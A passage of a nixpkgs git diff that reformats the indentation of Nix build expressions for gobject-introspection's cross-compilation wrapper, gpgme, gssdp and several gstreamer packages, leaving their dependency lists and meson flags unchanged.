-          ${lib.getExe buildPackages.xorg.lndir} ${overriddenUnwrappedGir.${output}} ${"$" + "${output}"}
-        '') overriddenUnwrappedGir.outputs}
+    buildCommand = ''
+      eval fixupPhase
+      ${lib.concatMapStrings (output: ''
+        mkdir -p ${"$" + "${output}"}
+        ${lib.getExe buildPackages.xorg.lndir} ${overriddenUnwrappedGir.${output}} ${"$" + "${output}"}
+      '') overriddenUnwrappedGir.outputs}
 
-        cp $dev/bin/g-ir-compiler $dev/bin/.g-ir-compiler-wrapped
-        cp $dev/bin/g-ir-scanner $dev/bin/.g-ir-scanner-wrapped
+      cp $dev/bin/g-ir-compiler $dev/bin/.g-ir-compiler-wrapped
+      cp $dev/bin/g-ir-scanner $dev/bin/.g-ir-scanner-wrapped
 
-        (
-          rm "$dev/bin/g-ir-compiler"
-          rm "$dev/bin/g-ir-scanner"
-          export bash="${buildPackages.bash}"
-          export emulator=${lib.escapeShellArg (stdenv.targetPlatform.emulator buildPackages)}
-          export emulatorwrapper="$dev/bin/g-ir-scanner-qemuwrapper"
-          export buildlddtree="${buildPackages.pax-utils}/bin/lddtree"
+      (
+        rm "$dev/bin/g-ir-compiler"
+        rm "$dev/bin/g-ir-scanner"
+        export bash="${buildPackages.bash}"
+        export emulator=${lib.escapeShellArg (stdenv.targetPlatform.emulator buildPackages)}
+        export emulatorwrapper="$dev/bin/g-ir-scanner-qemuwrapper"
+        export buildlddtree="${buildPackages.pax-utils}/bin/lddtree"
 
-          export targetgir="${lib.getDev overridenTargetUnwrappedGir}"
+        export targetgir="${lib.getDev overridenTargetUnwrappedGir}"
 
-          substituteAll "${./wrappers/g-ir-compiler.sh}" "$dev/bin/g-ir-compiler"
-          substituteAll "${./wrappers/g-ir-scanner.sh}" "$dev/bin/g-ir-scanner"
-          substituteAll "${./wrappers/g-ir-scanner-lddwrapper.sh}" "$dev/bin/g-ir-scanner-lddwrapper"
-          substituteAll "${./wrappers/g-ir-scanner-qemuwrapper.sh}" "$dev/bin/g-ir-scanner-qemuwrapper"
-          chmod +x $dev/bin/g-ir-compiler
-          chmod +x $dev/bin/g-ir-scanner*
-        )
-      ''
-      # when cross-compiling and using the wrapper then when a package looks up the g_ir_X
-      # variable with pkg-config they'll get the host version which can't be run
-      # override the variable to use the absolute path to g_ir_X in PATH which can be run
-      + ''
-        cat >> $dev/nix-support/setup-hook <<-'EOF'
-          override-pkg-config-gir-variables() {
-            PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_SCANNER="$(type -p g-ir-scanner)"
-            PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_COMPILER="$(type -p g-ir-compiler)"
-            PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_GENERATE="$(type -p g-ir-generate)"
-            export PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_SCANNER
-            export PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_COMPILER
-            export PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_GENERATE
-          }
+        substituteAll "${./wrappers/g-ir-compiler.sh}" "$dev/bin/g-ir-compiler"
+        substituteAll "${./wrappers/g-ir-scanner.sh}" "$dev/bin/g-ir-scanner"
+        substituteAll "${./wrappers/g-ir-scanner-lddwrapper.sh}" "$dev/bin/g-ir-scanner-lddwrapper"
+        substituteAll "${./wrappers/g-ir-scanner-qemuwrapper.sh}" "$dev/bin/g-ir-scanner-qemuwrapper"
+        chmod +x $dev/bin/g-ir-compiler
+        chmod +x $dev/bin/g-ir-scanner*
+      )
+    ''
+    # when cross-compiling and using the wrapper then when a package looks up the g_ir_X
+    # variable with pkg-config they'll get the host version which can't be run
+    # override the variable to use the absolute path to g_ir_X in PATH which can be run
+    + ''
+      cat >> $dev/nix-support/setup-hook <<-'EOF'
+        override-pkg-config-gir-variables() {
+          PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_SCANNER="$(type -p g-ir-scanner)"
+          PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_COMPILER="$(type -p g-ir-compiler)"
+          PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_GENERATE="$(type -p g-ir-generate)"
+          export PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_SCANNER
+          export PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_COMPILER
+          export PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_G_IR_GENERATE
+        }
 
-          preConfigureHooks+=(override-pkg-config-gir-variables)
-        EOF
-      '';
+        preConfigureHooks+=(override-pkg-config-gir-variables)
+      EOF
+    '';
   })
 else
   overriddenUnwrappedGir.overrideAttrs (previousAttrs: {
diff --git a/pkgs/development/libraries/gpgme/default.nix b/pkgs/development/libraries/gpgme/default.nix
index 25f4e6bce303..4b8cbc73edf4 100644
--- a/pkgs/development/libraries/gpgme/default.nix
+++ b/pkgs/development/libraries/gpgme/default.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation rec {
     libassuan
     libgpg-error
     pth
-  ] ++ lib.optionals (qtbase != null) [ qtbase ];
+  ]
+  ++ lib.optionals (qtbase != null) [ qtbase ];
 
   nativeCheckInputs = [ which ];
 
@@ -65,17 +66,16 @@ stdenv.mkDerivation rec {
 
   dontWrapQtApps = true;
 
-  configureFlags =
-    [
-      "--enable-fixed-path=${gnupg}/bin"
-      "--with-libgpg-error-prefix=${libgpg-error.dev}"
-      "--with-libassuan-prefix=${libassuan.dev}"
-    ]
-    # Tests will try to communicate with gpg-agent instance via a UNIX socket
-    # which has a path length limit. Nix on darwin is using a build directory
-    # that already has quite a long path and the resulting socket path doesn't
-    # fit in the limit. https://github.com/NixOS/nix/pull/1085
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--disable-gpg-test" ];
+  configureFlags = [
+    "--enable-fixed-path=${gnupg}/bin"
+    "--with-libgpg-error-prefix=${libgpg-error.dev}"
+    "--with-libassuan-prefix=${libassuan.dev}"
+  ]
+  # Tests will try to communicate with gpg-agent instance via a UNIX socket
+  # which has a path length limit. Nix on darwin is using a build directory
+  # that already has quite a long path and the resulting socket path doesn't
+  # fit in the limit. https://github.com/NixOS/nix/pull/1085
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "--disable-gpg-test" ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     # qgpgme uses Q_ASSERT which retains build inputs at runtime unless
diff --git a/pkgs/development/libraries/gssdp/1.6.nix b/pkgs/development/libraries/gssdp/1.6.nix
index 6d59e165a3e6..aef4e6ff3666 100644
--- a/pkgs/development/libraries/gssdp/1.6.nix
+++ b/pkgs/development/libraries/gssdp/1.6.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation (finalAttrs: {
     vala
     gi-docgen
     python3
-  ] ++ lib.optionals enableManpages [ buildPackages.pandoc ];
+  ]
+  ++ lib.optionals enableManpages [ buildPackages.pandoc ];
 
   buildInputs = [
     libsoup_3
diff --git a/pkgs/development/libraries/gssdp/default.nix b/pkgs/development/libraries/gssdp/default.nix
index 829b973e9097..1df6fa14c39d 100644
--- a/pkgs/development/libraries/gssdp/default.nix
+++ b/pkgs/development/libraries/gssdp/default.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withIntrospection [ "devdoc" ];
+  ]
+  ++ lib.optionals withIntrospection [ "devdoc" ];
 
   src = fetchurl {
     url = "mirror://gnome/sources/gssdp/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
@@ -48,19 +49,18 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      glib
-      python3
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-      gi-docgen
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    glib
+    python3
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+    gi-docgen
+  ];
 
   buildInputs = [
     libsoup_2_4
diff --git a/pkgs/development/libraries/gstreamer/bad/default.nix b/pkgs/development/libraries/gstreamer/bad/default.nix
index efb261a613e6..52d949c2d2b8 100644
--- a/pkgs/development/libraries/gstreamer/bad/default.nix
+++ b/pkgs/development/libraries/gstreamer/bad/default.nix
@@ -140,252 +140,249 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      orc # for orcc
-      python3
-      gettext
-      gstreamer # for gst-tester-1.0
-      gobject-introspection
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ]
-    ++ lib.optionals (gst-plugins-base.waylandEnabled && stdenv.hostPlatform.isLinux) [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    orc # for orcc
+    python3
+    gettext
+    gstreamer # for gst-tester-1.0
+    gobject-introspection
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ]
+  ++ lib.optionals (gst-plugins-base.waylandEnabled && stdenv.hostPlatform.isLinux) [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      gst-plugins-base
-      orc
-      json-glib
-      lcms2
-      ldacbt
-      liblc3
-      libass
-      webrtc-audio-processing_1
-      libbs2b
-      libmodplug
-      openjpeg
-      libopenmpt
-      libopus
-      librsvg
-      curl.dev
-      fdk_aac
-      gsm
-      libaom
-      libdc1394
-      libde265
-      libdvdnav
-      libdvdread
-      libnice
-      qrencode
-      libsndfile
-      libusb1
-      neon
-      openal
-      openexr
-      rtmpdump
-      pango
-      soundtouch
-      srtp
-      fluidsynth
-      libwebp
-      gnutls
-      game-music-emu
-      openssl
-      libxml2
-      libintl
-      srt
-      vo-aacenc
-      libfreeaptx
-      zxing-cpp
-      usrsctp
-      wildmidi
-      svt-av1
-    ]
-    ++ lib.optionals opencvSupport [
-      opencv4
-    ]
-    ++ lib.optionals enableZbar [
-      zbar
-    ]
-    ++ lib.optionals faacSupport [
-      faac
-    ]
-    ++ lib.optionals enableGplPlugins [
-      libmpeg2
-      mjpegtools
-      faad2
-      x265
-    ]
-    ++ lib.optionals bluezSupport [
-      bluez
-    ]
-    ++ lib.optionals microdnsSupport [
-      libmicrodns
-    ]
-    ++ lib.optionals openh264Support [
-      openh264
-    ]
-    ++ lib.optionals ajaSupport [
-      libajantv2
-    ]
-    ++ lib.optionals (gst-plugins-base.waylandEnabled && stdenv.hostPlatform.isLinux) [
-      libva # vaapi requires libva -> libdrm -> libpciaccess, which is Linux-only in nixpkgs
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # TODO: mjpegtools uint64_t is not compatible with guint64 on Darwin
-      mjpegtools
+  buildInputs = [
+    gst-plugins-base
+    orc
+    json-glib
+    lcms2
+    ldacbt
+    liblc3
+    libass
+    webrtc-audio-processing_1
+    libbs2b
+    libmodplug
+    openjpeg
+    libopenmpt
+    libopus
+    librsvg
+    curl.dev
+    fdk_aac
+    gsm
+    libaom
+    libdc1394
+    libde265
+    libdvdnav
+    libdvdread
+    libnice
+    qrencode
+    libsndfile
+    libusb1
+    neon
+    openal
+    openexr
+    rtmpdump
+    pango
+    soundtouch
+    srtp
+    fluidsynth
+    libwebp
+    gnutls
+    game-music-emu
+    openssl
+    libxml2
+    libintl
+    srt
+    vo-aacenc
+    libfreeaptx
+    zxing-cpp
+    usrsctp
+    wildmidi
+    svt-av1
+  ]
+  ++ lib.optionals opencvSupport [
+    opencv4
+  ]
+  ++ lib.optionals enableZbar [
+    zbar
+  ]
+  ++ lib.optionals faacSupport [
+    faac
+  ]
+  ++ lib.optionals enableGplPlugins [
+    libmpeg2
+    mjpegtools
+    faad2
+    x265
+  ]
+  ++ lib.optionals bluezSupport [
+    bluez
+  ]
+  ++ lib.optionals microdnsSupport [
+    libmicrodns
+  ]
+  ++ lib.optionals openh264Support [
+    openh264
+  ]
+  ++ lib.optionals ajaSupport [
+    libajantv2
+  ]
+  ++ lib.optionals (gst-plugins-base.waylandEnabled && stdenv.hostPlatform.isLinux) [
+    libva # vaapi requires libva -> libdrm -> libpciaccess, which is Linux-only in nixpkgs
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # TODO: mjpegtools uint64_t is not compatible with guint64 on Darwin
+    mjpegtools
 
-      chromaprint
-      flite
-      libdrm
-      libgudev
-      sbc
-      spandsp
+    chromaprint
+    flite
+    libdrm
+    libgudev
+    sbc
+    spandsp
 
-      # ladspa plug-in
-      ladspaH
-      lrdf # TODO: make build on Darwin
+    # ladspa plug-in
+    ladspaH
+    lrdf # TODO: make build on Darwin
 
-      # lv2 plug-in
-      lilv
-      lv2
-      serd
-      sord
-      sratom
+    # lv2 plug-in
+    lilv
+    lv2
+    serd
+    sord
+    sratom
 
-      libGL
-    ]
-    ++ lib.optionals guiSupport [
-      gtk3
-    ]
-    ++ lib.optionals lcevcdecSupport [
-      lcevcdec
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+    libGL
+  ]
+  ++ lib.optionals guiSupport [
+    gtk3
+  ]
+  ++ lib.optionals lcevcdecSupport [
+    lcevcdec
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
-  mesonFlags =
-    [
-      "-Dexamples=disabled" # requires many dependencies and probably not useful for our users
-      "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
+  mesonFlags = [
+    "-Dexamples=disabled" # requires many dependencies and probably not useful for our users
+    "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
 
-      "-Damfcodec=disabled" # Windows-only
-      "-Dandroidmedia=disabled" # Requires Android system.
-      "-Davtp=disabled"
-      "-Dcuda-nvmm=disabled"
-      "-Ddirectshow=disabled" # Windows-only
-      "-Dqt6d3d11=disabled" # Windows-only
-      "-Ddts=disabled" # required `libdca` library not packaged in nixpkgs as of writing, and marked as "BIG FAT WARNING: libdca is still in early development"
-      "-Dzbar=${if enableZbar then "enabled" else "disabled"}"
-      "-Dfaac=${if faacSupport then "enabled" else "disabled"}"
-      "-Diqa=disabled" # required `dssim` library not packaging in nixpkgs as of writing, also this is AGPL so update license when adding support
-      "-Dlcevcencoder=disabled" # not packaged in nixpkgs as of writing
-      "-Dmagicleap=disabled" # required `ml_audio` library not packaged in nixpkgs as of writing
-      "-Dmsdk=disabled" # not packaged in nixpkgs as of writing / no Windows support
-      # As of writing, with `libmpcdec` in `buildInputs` we get
-      #   "Could not find libmpcdec header files, but Musepack was enabled via options"
-      # This is likely because nixpkgs has the header in libmpc/mpcdec.h
-      # instead of mpc/mpcdec.h, like Arch does. The situation is not trivial.
-      # There are apparently 2 things called `libmpcdec` from the same author:
-      #   * http://svn.musepack.net/libmpcdec/trunk/src/
-      #   * http://svn.musepack.net/libmpc/trunk/include/mpc/
-      # Fixing it likely requires to first figure out with upstream which one
-      # is needed, and then patching upstream to find it (though it probably
-      # already works on Arch?).
-      "-Dmusepack=disabled"
-      "-Dnvcomp=disabled"
-      "-Dnvdswrapper=disabled"
-      "-Dopenni2=disabled" # not packaged in nixpkgs as of writing
-      "-Dopensles=disabled" # not packaged in nixpkgs as of writing
-      "-Dsvthevcenc=disabled" # required `SvtHevcEnc` library not packaged in nixpkgs as of writing
-      "-Dsvtjpegxs=disabled" # not packaged in nixpkgs as of writing
-      "-Dteletext=disabled" # required `zvbi` library not packaged in nixpkgs as of writing
-      "-Dtinyalsa=disabled" # not packaged in nixpkgs as of writing
-      "-Dvoamrwbenc=disabled" # required `vo-amrwbenc` library not packaged in nixpkgs as of writing
-      "-Dvulkan=disabled" # Linux-only, and we haven't figured out yet which of the vulkan nixpkgs it needs
-      "-Dwasapi=disabled" # not packaged in nixpkgs as of writing / no Windows support
-      "-Dwasapi2=disabled" # not packaged in nixpkgs as of writing / no Windows support
-      "-Dwpe=disabled" # required `wpe-webkit` library not packaged in nixpkgs as of writing
-      "-Dgs=disabled" # depends on `google-cloud-cpp`
-      "-Donnx=disabled" # depends on `libonnxruntime` not packaged in nixpkgs as of writing
-      "-Dopenaptx=enabled" # since gstreamer-1.20.1 `libfreeaptx` is supported for circumventing the dubious license conflict with `libopenaptx`
-      "-Dopencv=${if opencvSupport then "enabled" else "disabled"}" # Reduces rebuild size when `config.cudaSupport = true`
-      "-Daja=${if ajaSupport then "enabled" else "disabled"}"
-      "-Dmicrodns=${if microdnsSupport then "enabled" else "disabled"}"
-      "-Dbluez=${if bluezSupport then "enabled" else "disabled"}"
-      (lib.mesonEnable "openh264" openh264Support)
-      (lib.mesonEnable "doc" enableDocumentation)
-      (lib.mesonEnable "directfb" false)
-      (lib.mesonEnable "lcevcdecoder" lcevcdecSupport)
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Ddoc=disabled" # needs gstcuda to be enabled which is Linux-only
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux || !stdenv.hostPlatform.isx86) [
-      "-Dnvcodec=disabled" # Linux-only, broken on non-x86
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux || !gst-plugins-base.waylandEnabled) [
-      "-Dva=disabled" # see comment on `libva` in `buildInputs`
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-Daja=disabled"
-      "-Dchromaprint=disabled"
-      "-Dflite=disabled"
-      "-Dkms=disabled" # renders to libdrm output
-      "-Dlv2=disabled"
-      "-Dsbc=disabled"
-      "-Dspandsp=disabled"
-      "-Ddvb=disabled"
-      "-Dfbdev=disabled"
-      "-Duvcgadget=disabled" # requires gudev
-      "-Duvch264=disabled" # requires gudev
-      "-Dv4l2codecs=disabled" # requires gudev
-      "-Dladspa=disabled" # requires lrdf
-    ]
-    ++
-      lib.optionals
-        (!stdenv.hostPlatform.isLinux || !stdenv.hostPlatform.isx86_64 || !gst-plugins-base.waylandEnabled)
-        [
-          "-Dqsv=disabled" # Linux (and Windows) x86 only, makes va required
-        ]
-    ++ lib.optionals (!gst-plugins-base.glEnabled) [
-      "-Dgl=disabled"
-    ]
-    ++ lib.optionals (!gst-plugins-base.waylandEnabled || !guiSupport) [
-      "-Dgtk3=disabled" # Wayland-based GTK sink
-      "-Dwayland=disabled"
-    ]
-    ++ lib.optionals (!gst-plugins-base.glEnabled) [
-      # `applemedia/videotexturecache.h` requires `gst/gl/gl.h`,
-      # but its meson build system does not declare the dependency.
-      "-Dapplemedia=disabled"
-    ]
-    ++ (
-      if enableGplPlugins then
-        [
-          "-Dgpl=enabled"
-        ]
-      else
-        [
-          "-Ddts=disabled"
-          "-Dfaad=disabled"
-          "-Diqa=disabled"
-          "-Dmpeg2enc=disabled"
-          "-Dmplex=disabled"
-          "-Dresindvd=disabled"
-          "-Dx265=disabled"
-        ]
-    );
+    "-Damfcodec=disabled" # Windows-only
+    "-Dandroidmedia=disabled" # Requires Android system.
+    "-Davtp=disabled"
+    "-Dcuda-nvmm=disabled"
+    "-Ddirectshow=disabled" # Windows-only
+    "-Dqt6d3d11=disabled" # Windows-only
+    "-Ddts=disabled" # required `libdca` library not packaged in nixpkgs as of writing, and marked as "BIG FAT WARNING: libdca is still in early development"
+    "-Dzbar=${if enableZbar then "enabled" else "disabled"}"
+    "-Dfaac=${if faacSupport then "enabled" else "disabled"}"
+    "-Diqa=disabled" # required `dssim` library not packaging in nixpkgs as of writing, also this is AGPL so update license when adding support
+    "-Dlcevcencoder=disabled" # not packaged in nixpkgs as of writing
+    "-Dmagicleap=disabled" # required `ml_audio` library not packaged in nixpkgs as of writing
+    "-Dmsdk=disabled" # not packaged in nixpkgs as of writing / no Windows support
+    # As of writing, with `libmpcdec` in `buildInputs` we get
+    #   "Could not find libmpcdec header files, but Musepack was enabled via options"
+    # This is likely because nixpkgs has the header in libmpc/mpcdec.h
+    # instead of mpc/mpcdec.h, like Arch does. The situation is not trivial.
+    # There are apparently 2 things called `libmpcdec` from the same author:
+    #   * http://svn.musepack.net/libmpcdec/trunk/src/
+    #   * http://svn.musepack.net/libmpc/trunk/include/mpc/
+    # Fixing it likely requires to first figure out with upstream which one
+    # is needed, and then patching upstream to find it (though it probably
+    # already works on Arch?).
+    "-Dmusepack=disabled"
+    "-Dnvcomp=disabled"
+    "-Dnvdswrapper=disabled"
+    "-Dopenni2=disabled" # not packaged in nixpkgs as of writing
+    "-Dopensles=disabled" # not packaged in nixpkgs as of writing
+    "-Dsvthevcenc=disabled" # required `SvtHevcEnc` library not packaged in nixpkgs as of writing
+    "-Dsvtjpegxs=disabled" # not packaged in nixpkgs as of writing
+    "-Dteletext=disabled" # required `zvbi` library not packaged in nixpkgs as of writing
+    "-Dtinyalsa=disabled" # not packaged in nixpkgs as of writing
+    "-Dvoamrwbenc=disabled" # required `vo-amrwbenc` library not packaged in nixpkgs as of writing
+    "-Dvulkan=disabled" # Linux-only, and we haven't figured out yet which of the vulkan nixpkgs it needs
+    "-Dwasapi=disabled" # not packaged in nixpkgs as of writing / no Windows support
+    "-Dwasapi2=disabled" # not packaged in nixpkgs as of writing / no Windows support
+    "-Dwpe=disabled" # required `wpe-webkit` library not packaged in nixpkgs as of writing
+    "-Dgs=disabled" # depends on `google-cloud-cpp`
+    "-Donnx=disabled" # depends on `libonnxruntime` not packaged in nixpkgs as of writing
+    "-Dopenaptx=enabled" # since gstreamer-1.20.1 `libfreeaptx` is supported for circumventing the dubious license conflict with `libopenaptx`
+    "-Dopencv=${if opencvSupport then "enabled" else "disabled"}" # Reduces rebuild size when `config.cudaSupport = true`
+    "-Daja=${if ajaSupport then "enabled" else "disabled"}"
+    "-Dmicrodns=${if microdnsSupport then "enabled" else "disabled"}"
+    "-Dbluez=${if bluezSupport then "enabled" else "disabled"}"
+    (lib.mesonEnable "openh264" openh264Support)
+    (lib.mesonEnable "doc" enableDocumentation)
+    (lib.mesonEnable "directfb" false)
+    (lib.mesonEnable "lcevcdecoder" lcevcdecSupport)
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Ddoc=disabled" # needs gstcuda to be enabled which is Linux-only
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux || !stdenv.hostPlatform.isx86) [
+    "-Dnvcodec=disabled" # Linux-only, broken on non-x86
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux || !gst-plugins-base.waylandEnabled) [
+    "-Dva=disabled" # see comment on `libva` in `buildInputs`
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-Daja=disabled"
+    "-Dchromaprint=disabled"
+    "-Dflite=disabled"
+    "-Dkms=disabled" # renders to libdrm output
+    "-Dlv2=disabled"
+    "-Dsbc=disabled"
+    "-Dspandsp=disabled"
+    "-Ddvb=disabled"
+    "-Dfbdev=disabled"
+    "-Duvcgadget=disabled" # requires gudev
+    "-Duvch264=disabled" # requires gudev
+    "-Dv4l2codecs=disabled" # requires gudev
+    "-Dladspa=disabled" # requires lrdf
+  ]
+  ++
+    lib.optionals
+      (!stdenv.hostPlatform.isLinux || !stdenv.hostPlatform.isx86_64 || !gst-plugins-base.waylandEnabled)
+      [
+        "-Dqsv=disabled" # Linux (and Windows) x86 only, makes va required
+      ]
+  ++ lib.optionals (!gst-plugins-base.glEnabled) [
+    "-Dgl=disabled"
+  ]
+  ++ lib.optionals (!gst-plugins-base.waylandEnabled || !guiSupport) [
+    "-Dgtk3=disabled" # Wayland-based GTK sink
+    "-Dwayland=disabled"
+  ]
+  ++ lib.optionals (!gst-plugins-base.glEnabled) [
+    # `applemedia/videotexturecache.h` requires `gst/gl/gl.h`,
+    # but its meson build system does not declare the dependency.
+    "-Dapplemedia=disabled"
+  ]
+  ++ (
+    if enableGplPlugins then
+      [
+        "-Dgpl=enabled"
+      ]
+    else
+      [
+        "-Ddts=disabled"
+        "-Dfaad=disabled"
+        "-Diqa=disabled"
+        "-Dmpeg2enc=disabled"
+        "-Dmplex=disabled"
+        "-Dresindvd=disabled"
+        "-Dx265=disabled"
+      ]
+  );
 
   # Argument list too long
   strictDeps = true;
diff --git a/pkgs/development/libraries/gstreamer/base/default.nix b/pkgs/development/libraries/gstreamer/base/default.nix
index e497f0c4ffc4..86e772e239b4 100644
--- a/pkgs/development/libraries/gstreamer/base/default.nix
+++ b/pkgs/development/libraries/gstreamer/base/default.nix
@@ -68,99 +68,95 @@ stdenv.mkDerivation (finalAttrs: {
   depsBuildBuild = [
     pkg-config
   ];
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-      gettext
-      orc
-      glib
-      gstreamer
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ]
-    ++ lib.optionals enableWayland [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+    gettext
+    orc
+    glib
+    gstreamer
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ]
+  ++ lib.optionals enableWayland [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      graphene
-      orc
-      libtheora
-      libintl
-      libopus
-      isocodes
-      libpng
-      libjpeg
-      tremor
-      pango
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libdrm
-      libGL
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ]
-    ++ lib.optionals enableAlsa [
-      alsa-lib
-    ]
-    ++ lib.optionals enableX11 [
-      libXext
-      libXi
-      libXv
-    ]
-    ++ lib.optionals enableWayland [
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optional enableCdparanoia cdparanoia;
+  buildInputs = [
+    graphene
+    orc
+    libtheora
+    libintl
+    libopus
+    isocodes
+    libpng
+    libjpeg
+    tremor
+    pango
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libdrm
+    libGL
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ]
+  ++ lib.optionals enableAlsa [
+    alsa-lib
+  ]
+  ++ lib.optionals enableX11 [
+    libXext
+    libXi
+    libXv
+  ]
+  ++ lib.optionals enableWayland [
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optional enableCdparanoia cdparanoia;
 
-  propagatedBuildInputs =
-    [
-      gstreamer
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libdrm
-    ];
+  propagatedBuildInputs = [
+    gstreamer
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libdrm
+  ];
 
-  mesonFlags =
-    [
-      "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
-      "-Dexamples=disabled" # requires many dependencies and probably not useful for our users
-      # See https://github.com/GStreamer/gst-plugins-base/blob/d64a4b7a69c3462851ff4dcfa97cc6f94cd64aef/meson_options.txt#L15 for a list of choices
-      "-Dgl_winsys=${
-        lib.concatStringsSep "," (
-          lib.optional enableX11 "x11"
-          ++ lib.optional enableWayland "wayland"
-          ++ lib.optional enableCocoa "cocoa"
-        )
-      }"
-      (lib.mesonEnable "introspection" withIntrospection)
-      (lib.mesonEnable "doc" enableDocumentation)
-      (lib.mesonEnable "libvisual" false)
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "-Dtests=disabled"
-    ]
-    ++ lib.optionals (!enableX11) [
-      "-Dx11=disabled"
-      "-Dxi=disabled"
-      "-Dxshm=disabled"
-      "-Dxvideo=disabled"
-    ]
-    # TODO How to disable Wayland?
-    ++ lib.optional (!enableGl) "-Dgl=disabled"
-    ++ lib.optional (!enableAlsa) "-Dalsa=disabled"
-    ++ lib.optional (!enableCdparanoia) "-Dcdparanoia=disabled"
-    ++ lib.optional stdenv.hostPlatform.isDarwin "-Ddrm=disabled";
+  mesonFlags = [
+    "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
+    "-Dexamples=disabled" # requires many dependencies and probably not useful for our users
+    # See https://github.com/GStreamer/gst-plugins-base/blob/d64a4b7a69c3462851ff4dcfa97cc6f94cd64aef/meson_options.txt#L15 for a list of choices
+    "-Dgl_winsys=${
+      lib.concatStringsSep "," (
+        lib.optional enableX11 "x11"
+        ++ lib.optional enableWayland "wayland"
+        ++ lib.optional enableCocoa "cocoa"
+      )
+    }"
+    (lib.mesonEnable "introspection" withIntrospection)
+    (lib.mesonEnable "doc" enableDocumentation)
+    (lib.mesonEnable "libvisual" false)
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "-Dtests=disabled"
+  ]
+  ++ lib.optionals (!enableX11) [
+    "-Dx11=disabled"
+    "-Dxi=disabled"
+    "-Dxshm=disabled"
+    "-Dxvideo=disabled"
+  ]
+  # TODO How to disable Wayland?
+  ++ lib.optional (!enableGl) "-Dgl=disabled"
+  ++ lib.optional (!enableAlsa) "-Dalsa=disabled"
+  ++ lib.optional (!enableCdparanoia) "-Dcdparanoia=disabled"
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-Ddrm=disabled";
 
   postPatch = ''
     patchShebangs \
diff --git a/pkgs/development/libraries/gstreamer/core/default.nix b/pkgs/development/libraries/gstreamer/core/default.nix
index 8b8900058d28..3f3778fd7cc0 100644
--- a/pkgs/development/libraries/gstreamer/core/default.nix
+++ b/pkgs/development/libraries/gstreamer/core/default.nix
@@ -60,48 +60,46 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      meson
